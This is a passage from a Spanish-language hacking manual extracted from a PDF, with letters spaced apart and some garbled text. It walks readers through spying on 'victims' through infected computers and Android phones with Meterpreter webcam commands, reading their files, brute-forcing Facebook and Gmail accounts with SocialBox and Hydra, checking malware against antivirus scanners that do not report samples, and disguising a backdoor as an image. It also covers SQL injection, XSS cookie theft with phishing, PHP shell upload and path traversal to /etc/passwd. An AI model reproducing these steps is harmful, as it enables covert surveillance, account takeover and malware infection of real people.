m e t e r p r e t e r s o l o t e n e m o s q u e p o n e r w e b c a m _ l i s t y n o s m o s t r a r á las
w e b c a m s q u e tie ne activ as, e l e g i m o s u n a p o n i e n d o w e b c a m _ s n a p 2
s i e n d o 2 la s e g u n d a w e b c a m y s e n o s abrirá u n a n u e v a v e n t a n a e n la
q u e a p a r e c e r á la c a p t u r a d e la W e b c a m . S i q u i e r e s v e r la w e b c a m e n
t i e m p o real tienes q u e p o n e r w e b c a m _ s t r e a m 2.

¡Si q u e r é i s p r o f u n d i z a r m á s e n M e t e r p r e t e r c o m o p o r e j e m p l o
a p r e n d e r a c r e a r b a c k d o o r s c a m u f l a d o s e n p d f s , h a c e r p e r s i s t e n c i a
p a r a q u e c u a n d o la v í c t i m a a p a g u e el o r d e n a d o r y lo e n c i e n d a la
s e s i ó n s i g a activa, e s c a l a r privilegios, etc . n o o l v i d é i s e c h a r u n
v i s t a z o a m i m a n u a l M e t a s p l o i t ! ! D o n d e s e e x p l i c a t o d o s los u s o s d e
M e t e r p r e t e r . L a h e r r a m i e n t a m á s i m p o r t a n t e d e l h a c k i n g .

4 1
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

B a c k d o o r A n d r o i d

C r e a r B a c k d o o r

p a r a
 J o t t a

A h o r a le t e n e m o s q u e m a n d a r el virus a la v í c t i m a y e s p e r a r a q u e lo
ejecute.

L a v i c t i m a y a h a e j e c u t a d o el v i r u s y a h o r a v a m o s a juguetar.

A c t i v a r c á m a r a d e l d i s p o s i t i v o i n f e c t a d o
S i q u e r e m o s v e r t o d o s los c o m a n d o s q u e p o d e m o s ejecutar e n el
di spos itivo i n f e c t a d o p o n e m o s el c o m a n d o “ h e l p ” sin comillas.
P a r a activar la c á m a r a d e l t e l é f o n o p r i m e r o t e n e m o s q u e s a b e r las
c á m a r a s q u e tie ne.

w e b c a m _ l i s t

N o s a p a r e c e u n a lista d e c á m a r a s , e l e g i m o s la q u e q u e r a m o s y la
a c t i v a m o s c o n el s i g u i e n t e c o m a n d o :
W e b c a m _ s t r e a m 2
S i e n d o 2 la c á m a r a frontal. T a m b i é n p o d é i s h a c e r u n a c a p t u r a d e la
c á m a r a p o n i e n d o “ w e b c a m _ s n a p 2 ” sin c o m i l l a s .

4 4
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

A c c e s o a los d a t o s d e la v i c t i m a
P a r a a c c e d e r a los d a t o s d e la v í c t i m a c o m o i m á g e n e s , w h a t s a p p ,
v i d e o s , d o c u m e n t o s , e t c … p o n e m o s lo siguiente:
S h e l l
c d s d c a r d
ls
Y p o d e m o s v e r t o d a s las c a r p e t a s d e l dispositivo.

¡Si q u e r é i s p r o f u n d i z a r m á s e n M e t e r p r e t e r n o o l v i d é i s e c h a r u n
v i s t a z o a m i m a n u a l M e t a s p l o i t ! ! D o n d e s e e x p l i c a t o d o s l os u s o s d e
M e t e r p r e t e r . L a h e r r a m i e n t a m á s i m p o r t a n t e d e l h a c k i n g d o n d e
p o d r á s s a b e r t o d o s los c o n c e p t o s y r e a l i z a r t o d o s los a t a q u e s c o n
M e t a s p l o i t .

4 5
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

F u e r z a B r u t a
L o s a t a q u e s d e f u e r z a b r u t a s o n a q u e l l o s q u e la f o r m a d e r e c u p e r a r u n a
c l a v e e s p r o b a n d o t o d a s las c o m b i n a c i o n e s p o s i b l e s h a s t a e n c o n t r a r
a q u e l l a q u e le p e r m i t e el a c c e s o .
E s t o v a a c o m p a ñ a d o d e d i c c i o n a r i o s q u e s o n d o c u m e n t o s d e t e x t o c o n
c o m b i n a c i o n e s d e l e t r a s / n ú m e r o s q u e p o d e m o s h a c e r n o s o t r o s o
p o d e m o s d e s c a r g a r n o s u n o g e n é r i c o .
H a y g e n t e q u e e s t u d i a a la p e r s o n a y h a c e u n d i c c i o n a r i o c o n p a l a b r a s
q u e c r e e n q u e p u e d e n ser las c o n t r a s e ñ a s .
U n a v e z d i c h o t o d o e s t o e m p e z a m o s .

C o m o c r e a r u n d i c c i o n a r i o
H a y m u c h a s h e r r a m i e n t a s p a r a crear diccionarios, a m í la q u e m á s m e
g u s t a e s C r u n c h .
C r u n c h v i e n e y a i n s t a l a d o p o r defecto.
S i n t a x i s :
c r u n c h < m i n > < m a x > < c o n j u n t o d e c a r á c t e r e s > -t < p a t r ó n > - o < r u t a >

•
 J o t t a

A h o r a v a m o s a crear u n d i c c i o n a r i o s i m p l e y o t r o c o m p l e t o .
D i c c i o n a r i o s i m p l e :
D i g o q u e e s s i m p l e p o r q u e tiene u n a p a l a b r a y h a c e c o m b i n a c i o n e s p o r
e s a palabra.
c r u n c h 4 6 j o t t a h a c k i n g - o / h o m e / j o t t a / D e s k t o p / d i c S i m p l e . t x t
D i c c i o n a r i o c o m p l e t o :

c r u n c h 4 1 0
a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y
Z 0 1 2 3 4 5 6 7 8 9 - o / h o m e / j o t t a / D e s k t o p / d i c C o m p l e t o . t x t

P r e s i o n a m o s e n t e r y s e n o s g e n e r a r á el d i c c i o n a r i o

4 8
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

C o m o h a c e r u n a t a q u e d e F u e r z a B r u t a
O s v o y a e n s e ñ a r c ó m o h a c e r f u e r z a b r u t a c o n d o s h e r r a m i e n t a s , a m b a s
t i e n e n s u s ventajas. P o r e j e m p l o , S o c i a l B o x te d a m á s p o s i b i l i d a d e s
p a r a h a c e r f u e r z a bruta, p e r o H y d r a e s m á s rapido.

F u e r z a b r u t a c o n S o c i a l B o x
L o p r i m e r o q u e t e n e m o s q u e h a c e r e s d e s c a r g a r la h e r r a m i e n t a :

git c l o n e
h t t p s : / / g i t h u b . c o m / T u n i s i a n E a g l e s / S o c i a l B o x
D e s p u é s a c c e d e m o s a la carpeta:

c d S o c i a l B o x
E i n s t a l a m o s el f i c h e r o install-sb.sh y S o c a l B o x . s h p a r a ello p o n e m o s :
b a s h install-sb.sh
U n a v e z i n s t a l a d o t o d o n o s ejecutará la h e r r a m i e n t a

s e
 J o t t a

E n este c a s o v a m o s a h a c e r la p r u e b a c o n F a c e b o o k , p a r a ello p o n e m o s
u n 1
A h o r a n o s p e d i r á el F a c e b o o k I D , E m a i l , U s e r n a m e o n ú m e r o d e
t e l é f o n o y la ruta d e n u e s t r o diccionario.

P r e s i o n a m o s E n t e r y e m p e z a r á a c o m p r o b a r las c o n t r a s e ñ a s h a s t a
e n c o n t r a r la correcta.

5 0
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

F u e r z a b r u t a c o n H y d r a
S i n t a x i s :
H y d r a – S –l < c o r r e o > - P < D i r e c c i ó n d i c c i o n a r i o > -e – n s – V – s
< p u e r t o > < S e r v i d o r >
- S ( S o c k e r )
-l → S e utiliza –l p o r q u e s a b e m o s el e m a i l (Si f u e r a u n d i c c i o n a r i o d e
c o r r e o s p o n d r í a m o s - L )

- P → S e utiliza – P p o r q u e v a m o s a utilizar u n d i c c i o n a r i o d e
c o n t r a s e ñ a s , si s u p i é r a m o s la c o n t r a s e ñ a , p e r o n o el c o r r e o p o n d r í a m o s
– p )
< p u e r t o > P u e r t o d e G m a i l
< S e r v i d o r > → P r o t o c o l o al c u a l v a m o s a h a c e r el a t a q u e
E j e m p l o :
H y d r a – S –l p r u e b a s j o t t a @ g m a i l . c o m – P
/ h o m e / j o t t a / D e s k t o p / d i c S i m p l e . t x t – e n s – V – s 4 6 5 s m t p . g m a i l . c o m
s m t p

5 1
 J o t t a

S i s e q u i e r e h a c e r f u e r z a b r u t a d e o t r o servicio q u e n o s e a G m a i l h a y
q u e b u s c a r s u p u e r t o y p r o t o c o l o .
P o r e j e m p l o , Y a h o o sería:

• P u e r t o → 4 6 5
• S e r v i d o r → s m t p . m a i l . y a h o o . c o m

5 2
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

A t a q u e s F u e r a d e L A N
E s t o e s e s e n c i a l p a r a h a c e r a t a q u e s f u e r a d e tu local, s o n p a s o s m u y
g e n é r i c o s q u e v a l e n p a r a t o d o tipo d e b a c k d o o r s , p h i s h i n g , k e y l o g g e r ,
etc.
R e s u m i e n d o , p a r a t o d o lo q u e te p i d a u n a I P o p u e r t o y q u i e r a s h a c e r l o
f u e r a d e tu r e d local tienes q u e p a s a r p o r aquí.
L o p r i m e r o q u e n e c e s i t a m o s e s s a b e r c u á l e s n u e s t r a I P real, p a r a v e r l o
v a m o s al s i g u i e n t e e n l a c e :
h t t p s : / / w w w . c u a l - e s - m i - i p . n e t /
E n e s a p á g i n a n o s saldrá n u e s t r a I P e n g r a n d e .

M i r e c o m e n d a c i ó n e s q u e h a b l é i s c o n v u e s t r a c o m p a ñ í a d e internet y
contratéis u n a I P estática y a q u e esta I P s e v a a r e n o v a r c a d a cierto
t i e m p o .
Y

p o r
 J o t t a

5 4
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

N o r m a l m e n t e la c o n f i g u r a c i ó n d e l p u e r t o si e s s i e m p r e la m i s m a .
• U n n o m b r e c o m o p o r e j e m p l o “ L i n u x ”

• E l tipo d e servicio q u e será “ T C P / U D P ”

E l
 J o t t a

C o m o s a b e r q u e a n t i v i r u s d e t e c t a n m i s v i r u s
E s t e e s s m á s i m p o r t a n t e s d e l h a c k i n g , n o p o r q u e s e a la
u n o d e los p u n t o
m a y o r táctica q u e o s s o l u c i o n a r á la v i d a s i n o p o r q u e g r a c i a s a e s t o
p o d é i s s a b e r q u e clases d e antivirus s e t r a g a r á n v u e s t r o s virus y tenéis
q u e uti lizar la p á g i n a i n
d i c a d a y a q u e h a y m u c h a s q u e lo q u e h a c e n e s
e n v i a r s antivirus y e s t o s lo b l o q u e a n e n u n a n u e v a
el m a l w a r e a lo
a c t u a l i z a c i ó n p o r e s o y o
r e c o m i e n d o esta p á g i n a .
E s u n a p á g i n a s i m p l e , e n t e n d i b l e p a r a t o d o el m u n d o y q u e n o r e p o r t a
los virus a las e m p r e s a s p a r a b l o q u e a r l o s .

h t t p s : / / v i r u s s c a n . j o t t i . o r g /
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

5 7
 J o t t a

C a m u f l a r v i r u s e n u n a f o t o
P a r a realizar e s t o n e c e s i t a m o s :
• W i n r a r
• U n a i m a g e n .ico

• E l virus
S i n o t e n e m o s n i n g u n a i m a g e n .ico n o p a s a n a d a , p u e d e s c o g e r u n a
i m a g e n n o r m a l y convertirla.
P a r a c o n v e r t i r u n a i m a g e n e n .ico n e c e s i t a m o s d e s c a r g a r T o Y c o n .

A q u í o s d e j o el e n l a c e d e d e s c a r g a :
h t t p s : / / b i t . l y / 3 d c A r 9 M
S e o s d e s c a r g a r á u n a r c h i v o .rar, lo d e s c o m p r i m í s y a b r i m o s la c a r p e t a
q u e s e h a g e n e r a d o .
U n a v e z d e n t r o d e la c a r p e t a e j e c u t a m o s el a r c h i v o T o Y c o n .

S e n o s abrirá u n a caja e n el escritorio, a r r a s t r a m o s la i m a g e n q u e

q u e r a m o s c o n v e r t i r e n i c o n o y s e n o s c r e a a u t o m á t i c a m e n t e .

5 8
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

A h o r a t e n e m o s q u e tener n u e s t r o b a c k d o o r y n u e s t r o i c o n o .

P r i m e r o s e l e c c i o n a m o s el v i r u s y la i m a g e n . C l i c k d e r e c h o →
P r o p i e d a d e s → oculto.

5 9
 J o t t a

S i o s d e s a p a r e c e n tranquilos, activar la o p c i ó n d e m o s t r a r e l e m e n t o s
ocultos.

A h o r a v o l v e m o s a s e l e c c i o n a r los d o s y d a m o s click d e r e c h o → A ñ a d i r
al a r c h i v o .

6 0
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

M a r c a m o s la casilla d e “ C r e a r u n a r c h i v o autoextraíble”.

A h o r a v a m o s a a v a n z a d o → A u t o e x t r a í b l e .

6 1
 J o t t a

A h o r a v a m o s a Instalación y p o n e m o s el n o m b r e d e l a r c h i v o y el d e la
i m a g e n .

A h o r a v a m o s a M o d o s y p o n e m o s “ O c u l t a r t o d o ” .

6 2
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

E n A c t u a l i z a r m a r c a m o s “ S o b r e s c r i b i r t o d o s los f i c h e r o s ” p o r si la
v i c t i m a a b r e la i m a g e n varias v e c e s .

A h o r a v a m o s a T e x t o e I c o n o , le d a m o s a E x a m i n a r e n el a p a r t a d o d e
“ C a r g a r i c o n o d e s d e f i c h e r o ” y c a r g a m o s la i m a g e n q u e q u e r e m o s q u e
s e m u e s t r e y aceptar.

6 3
 J o t t a

U n a v e z h e c h o t o d o lo anterior s e n o s c r e a r á este a r c h i v o

E s t e a r c h i v o s e lo m a n d a m o s a la v í c t i m a y d e j a m o s la c o n s o l a a la
e s c u c h a p a r a c u a n d o lo a b r a .

Ilustración 1 : L a v i c t i m a a b r e la foto

Ilustración 2 : S e le c r e a la s e s i ó n al a t a c a n t e

6 4
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

6 5
 J o t t a

H a c k i n g W e b

I n y e c c i o n e s d e c ó d i g o

S Q L I n j e c t i o n
S Q L Injection e s la m a n i p u l a c i ó n d e u n a c o n s u l t a S Q L p a r a lograr u n
r e s u l t a d o diferente al o b j e t i v o c o n el q u e f u e d i s e ñ a d a , e s decir, v a m o s
a utilizar u n a c o n s u l t a d e b a s e d e d a t o s q u e u s a u n a a p l i c a c i ó n w e b y
v a m o s a m o d i f i c a r el r e s u l t a d o i n y e c t a n d o c ó d i g o .
P o r e j e m p l o , u n L o g i n . C u a n d o m e t e m o s el
u s u a r i o y la c o n t r a s e ñ a e s t o l a n z a u n a
c o n s u l t a a la b a s e d e d a t o s s i m i l a r a esta:
select * f r o m u s e r s w h e r e u s u a r i o =
‘ + UP S A U S A S R W I O O R + D ’ + ’

a n d
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

C o m p a r a d o c o n el e j e m p l o anterior a h o r a la
c o n s u l t a q u e d a r í a así:
S e l e c t * f r o m u s e r s w h e r e u s u a r i o = ‘ 9 9 9 ’
o r ‘1’ = ‘1’- - a n d p a s s w o r d = ‘ p a s s w o r d 1 ’
¿ Q u é e s t a m o s d i c i e n d o a q u í ? Q u e s e l e c c i o n e
el u s u a r i o c u y o n o m b r e d e u s u a r i o s e a 9 9 9 o si 1 = 1 y c o n el d o b l e
g u i o n c o m e n t a m o s el c ó d i g o restante. S e utiliza el d o b l e g u i o n
s u p o n i e n d o q u e e s u n a b a s e d e d a t o s O r a c l e , c a d a b a s e d e d a t o s p u e d e
tener s u carácter e s p e c i a l p a r a realizar u n c o m e n t a r i o .
P u e d e ser q u e n o exista el u s u a r i o 9 9 9 p e r o c o m o 1 e s i g u a l a 1
e n t o n c e s n o s d e v o l v e r á true.
D e este m o d o n o s e s t a r e m o s l o g e a n d o e n la a p l i c a c i ó n sin c o n o c e r
n i n g ú n usuario.
T a m b i é n p o d e m o s m o n t a r n u e s t r a c o n s u l t a a partir d e ahí, p e r o p a r a e s o
s e n e c e s i t a n c o n o c i m i e n t o s d e b a s e d e datos.
P o r suerte la g r a n m a y o r í a d e p á g i n a s w e b e s t á n a h e c h a s d e tal f o r m a
q u e este a t a q u e s e a inútil p e r o a ú n h a y m u c h a s p á g i n a s e n las q u e
p o d r é i s h a c e r l o ( N o e s p e r é i s h a c e r l o e n I n s t a g r a m n i F a c e b o o k ;)).

¿ C ó m o e v i t a r l o ?
S i h a s visto q u e tu p á g i n a w e b tiene este fallo a q u í te v o y a e n s e ñ a r
c ó m o arreglarlo.
P r i m e r o h a y q u e s a n e a r s i e m p r e d a t o s d e e n t r a d a p o r parte del usuario,
e s decir, e s t o o c u r r e p o r q u e y o e s t o y c o n c a t e n a n d o d i r e c t a m e n t e lo q u e
el u s u a r i o m e m e t e e n el c a m p o u s u a r i o y e n el c a m p o p a s s w o r d p o r lo
q u e al insertar e s e c ó d i g o lo q u e h a c e e s m o d i f i c a r m i c o n s u l t a o riginal.
( E l i m i n a r las c o m i l l a s , c o m e n t a r i o s d e línea, etc.)

6 7
 J o t t a

C r o s s - S i t e - S c r i p t i n g ( X S S )
X S S e s u n a v u l n e r a b i l i d a d q u e p e r m i t e la e j e c u c i ó n d e script e n el
l a d o d e l cliente al visualizar u n a p á g i n a w e b .
I m a g i n e m o s q u e e s t a m o s e n u n p o s t , si e s c r i b i m o s c ó d i g o J a v a S c r i p t e n
el c a m p o d e texto d e l c o m e n t a r i o p o r e j e m p l o al entrar d e n u e v o o
c u a n d o o t r o u s u a r i o en tre s e le c a r g a r á e s e c ó d i g o y a q u e h a s i d o
re gistrado e n la b a s e d e d a t o s y este e s m o s t r a d o .

E l r e s u l t a d o c u a n d o u n u s u a r i o entrara a este p o s t sería:

6 8
 T é c n i c a s H a c k i n g m á s u t i l i z a d a s

T i p o s d e C r o s s - S i t e - S c r i p t i n g
L o s d o s tipos a d e s t a c a r s o n :
1. X S S A l m a c e n a d o
E s t e e s a q u e l e n el q u e el c ó d i g o s e a l m a c e n a e n la b a s e d e
datos, p o r e j e m p l o , el e j e m p l o q u e h e m o s visto del
alert(“hola”). E s t e c ó d i g o s e a l m a c e n a e n la b a s e d e d a t o s y

d e s p u é s
 J o t t a

E s t o p a r e
c e y e s m u y a m i g a b l e , p a r a lia rla c o n la v u l n e r a b i l i d a d X S S lo
q u e s e p u e d e h a c e r e s e n v e z d e u n a ler t p o n e r q u e redirija al u s u a r i o a
u n a p á g i n a q u e t e n g a m o s i n f e c t a d a y p o r e j e m p l o c o m o p a r á m e t r o
p o d e m o s m a n d a r n o s la c o o k i e q u e s e h a g e n e r a d o .

E s t o s e s u e l e h a c e r , p e r o r e p l i c a n d o la p á g i n a e n la q u e s e h a i n s e r t a d o
el c ó d i g o f r a u d u l e n t o .
I m a g i n e m o s q u e e s t a m o s e n u n f o r o y h e m o s c o n s e g u i d o inyectar
c ó d i g o f r a u d u l e n t o q u e les redirige a n u e s t r a p á g i n a d o n d e le p o d e m o s
h a c e r P h i s h i n g , la/s v i c t i m a / s e n t r a n e n la p á g i n a y esta las redirige a las
n u e s t r a s e n v i á n d o l e p o r e j e m p l o n u e s t r a c o o k i e u otra i n f o r m a c i ó n .
P o r e j e m p l o , e s a p á g i n a q u e h e m o s c r e a d o p u e d e ser p e r f e c t a m e n t e u n a
c o p i a d e l l o g i n d e la p á g i n a original y p o n e m o s u n m e n s a j e c o m o “ L a
s e s i ó n h a e x p i r a d o , si q u i e r e s e g u i r v i e n d o el c o n t e n i d o inicie sesión”,
el u s u a r i o iniciará s e s i ó n y el a t a c a n t e y a t e n d r á las credenciales.
A e s t o h a y q u e e c h a r l e i m a g i n a c i ó n ;)

F i c h e r o s

U n r e s t r i c t e d F i l e U p l o a d
F o r m u l a r i o d e s u b i d a d e ficheros, sin restricciones e n t a m a ñ o , e x t e n s i ó n
ni tipo d e fichero.
T i p o s d e a t a q u e s :

•
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

S i n o s e restringe e s t o s e p o d r í a c o n s e g u i r sobrescribir f i c h e r o s
e n el servidor.
U n e j e m p l o d e este a t a q u e serí a e n c o n t r a r u n f o r m u l a r i o q u e te d e j e
subir ficher os, a d j u n t a m o s u n a shell e n f o r m a t o P H P , a c c e d e m o s al
f i c h e r o q u e h e m o s s u b i d o y lo e j e c u t a m o s , la a p l i c a c i ó n lo e n t e n d e r á
c o m o c ó d i g o y p o d r e m o s m a n e j a r los d a t o s d e d e n t r o d e l s e r v i d o r c o m o
q u e r a m o s .

7 1
 J o t t a

L o c a l F i l e I n c l u s i ó n
E s t a v u l n e r a b i l i d a d c o n s i s t e e n la m a n i p u l a c i ó n d e la ruta a u n f i c h e r o
d e l s e r v i d o r q u e e s c a r g a d o m e d i a n t e la a p l i c a c i ó n p a r a a c c e d e r a o t r o
d e f o r m a fraudulenta.
T e n e m o s u n a a p l i c a c i ó n w e b q u e c a r g a u n f i c h e r o e n el s e r v i d o r y lo
m u e s t r a e n la p á g i n a , tiene u n a f o r m a d e a c c e d e r e n la q u e s e i n c l u y e el
n o m b r e d e l fichero.
¿ Q u é p a s a si e n v e z d e ir a e s a ruta i n t e n t a m o s ir a la c a r p e t a raíz?
P o n e m o s e n la url ../../../etc/ password e i r e m o s al f i c h e r o q u e c o n t i e n e
t o d a s l a s p a s s w o r d . L o s ../ e s p a r a ir al p a d r e d e la ru ta así h a s t a la raíz,
s e p u e d e n p o n e r t a n t o s c o m o q u e r a m o s y a q u e c u a n d o s e l l e g u e a la
raíz d a i g u a l t o d o s los q u e p o n g a s p o r q u e s e q u e d a r á ahí.

¿ C ó m o p o d e m o s evitar q u e p a s e e s t o c o n n u e s t r a w e b ?
E s t o s e p u e d e evitar r e s t r i n g i e n d o el n o m b r e y la ruta p a r a a c c e d e r al
fichero.
E j e m p l o :
S i c u a n d o a c c e d e m o s a u n f i c h e r o d e u n a w e b a p a r e c e así:

7 2
T é c n i c a s H a c k i n g m á s u t i l i z a d a s

N o s o t r o s p a r a n a v e g a r p o r l o s f i c h e r o s d e l a w e b p o n e m o s ../
E n la s i g u i e n t e i m a g e n s e p u e d e v e r c o m o a c c e d e m o s a la raíz y v a m o s
al f i c h e r o d o n d e s e a l m a c e n a n las c o n t r a s e ñ a s .

7 3
 J o t t a

R e c o m e n d a c i o n e s
S i h a b é i s l l e g a d o h a s t a a q u í s o l o p u e d o felicitaros, y a estáis h e c h o s
u n o s a u t é n t i c o s h a c k e r s , a h o r a l l e v a d c u i d a d o c o n lo q u e

h a c é i s .
Powered by TCPDF (www.tcpdf.org)